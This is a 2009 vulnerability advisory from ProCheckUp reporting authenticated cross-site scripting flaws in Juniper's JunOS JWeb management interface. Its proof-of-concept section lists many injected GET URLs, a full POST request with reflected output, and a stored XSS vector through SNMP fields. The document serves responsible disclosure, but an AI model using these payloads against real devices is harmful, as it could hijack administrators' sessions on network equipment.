Vulnerabilities 2009

PR09-10 Juniper JunOS JWeb (Juniper Web Management) authenticated XSS

• Advisory publicly released: Tuesday, 22 September 2009
• Vulnerability found: Thursday, 25 June 2009
• Vendor informed: Friday, 31 July 2009
• Severity level: Medium

• Credits
  Richard Brain of ProCheckUp Ltd (www.procheckup.com)
• Description
  There is a Cross-site Scripting vulnerability on Junipers, JUNOS web interface. JwWeb provides a webinterface which allows JUNOS to be controlled by a webinterface.
  Procheckup has found by making a malformed authenticated request to the JWeb interface, that vanilla cross site scripting (XSS) attacks are possible.
• Proof of concept
  1) http://target-domain.foo/jexec?JEXEC_MODE=JEXEC_MODE_RELAY_OUTPUT&JEXEC_OUTID=")></script><script>alert(1)</script>&JEXEC_RPC=request-background-task-start-junoscript
  2) http://target-domain.foo/scripter.php?act="><script>alert(1)</script>&debug=1&ifid=1&refresh-time=1&
  3) http://target-domain.foo/scripter.php?refresh-time="><script>alert(1)</script>
  4) http://target-domain.foo/scripter?act=header&ifid=')"><script>alert(1)</script>&
  5) http://target-domain.foo/configuration?m[]=history&action=rollback&revision="><script>alert(1)</script>
  
  6) the m[] parameter is vulnerable to XSS across multiple programs, the m[] parameter is used by JWeb to select a program to run.
  http://target-domain.foo/monitor?m[]='><script>alert(1)</script>
  http://target-domain.foo/manage?m[]='><script>alert(1)</script>
  http://target-domain.foo/events?m[]='><script>alert(1)</script>
  http://target-domain.foo/configuration?m[]='><script>alert(1)</script>
  http://target-domain.foo/alarms?m[]='><script>alert(1)</script>
  http://target-domain.foo/?m[]='><script>alert(1)</script>
  http://target-domain.foo/?action=browse&m[]="><script>alert(1)</SCRIPT>&path=/var/crash&
  
  
  7) The configuration program is vulnerable to a POST XSS attack
  
  POST /configuration?m[]=wizards&m[]=https HTTP/1.1
  Host: target-domain.foo
  Accept: */*
  Accept-Language: en
  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
  Connection: close
  Referer: http://target-domain.foo/configuration?m[]=wizards&m[]=https&start=true
  Cookie: PHPSESSID=faf6133c44481c24b61a04f4c0ef57be;
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 782
  https-allifls-hidden=false&https-interfaces-hidden=false&https-cert-hidden=false&local-cert-delete-hidden=true&wizard-next=b7777"><script>alert(1)</script>095b2419adf&https-allifls=on&https-allifls-original=on&xnmssltoggle=on&http-allifls-hidden=false&http-interfaces-hidden=false&certs-hidden=false&right-http-interfaces-duallist%5b%5d=lo0.16384&http-allifls=on&http-allifls-original=off&wizard-ids=&current-page=main&http-enable-hidden=false&text-hidden=false&wizard-args=&wizard-previous=&xnmssltoggle-hidden=false&httpstoggle-hidden=false&right-https-interfaces-duallist%5b%5d=lo0.16384&left-http-interfaces-duallist%5b%5d=em0.0&http-enable-original=on&httpstoggle-original=off&apply-button=Apply&xnmssltoggle-original=off&xnmssl-cert-hidden=false&http-enable=on&httpstoggle=on&wizard-mode=&http-interfaces-original=Array
  
  
  RESULTS (part of):-
  </script>
  <!--
  current wizard: firewall-acl
  current page : b7777"><script>alert(1)</script>095b2419adf
  current page number: 0
  -->
  </form> </td>
  </tr>
  </table>
  
  8) SNMP parameters are vulnerable to a persistent XSS attack, which allows permanent alteration to page code when viewd.
  SNMP parmaters can be viewed and entered on this page, http://212.111.49.111/configuration?m[]=wizards&m[]=snmp&start=true
  The "Contact Information","System Description","Local Engine ID","System Location","System Name Override"
  
  The following URLS when accessed cause the XSS attacks to be executed
  http://212.111.49.111/configuration?m[]=wizards&m[]=snmp&start=true
  http://212.111.49.111/configuration?m[]=viewedit&m[]=viewtext
  
  
  Note: the previous examples were tested on IE7 and FF2.
• How to fix
  
• Consequences
  An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link or visits a malicious webpage. The malicious code would run in the security context of the vulnerable website.
  
  This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: passwords or session IDs) to unauthorised third parties.
• Successfully tested on
  Juniper Networks Juniper Web Management (JWeb) Version: 8.5R1.14
• References
  

  ProCheckUp Vulnerabilities
  http://www.procheckup.com/vulnerability_manager

  
  
• Legal
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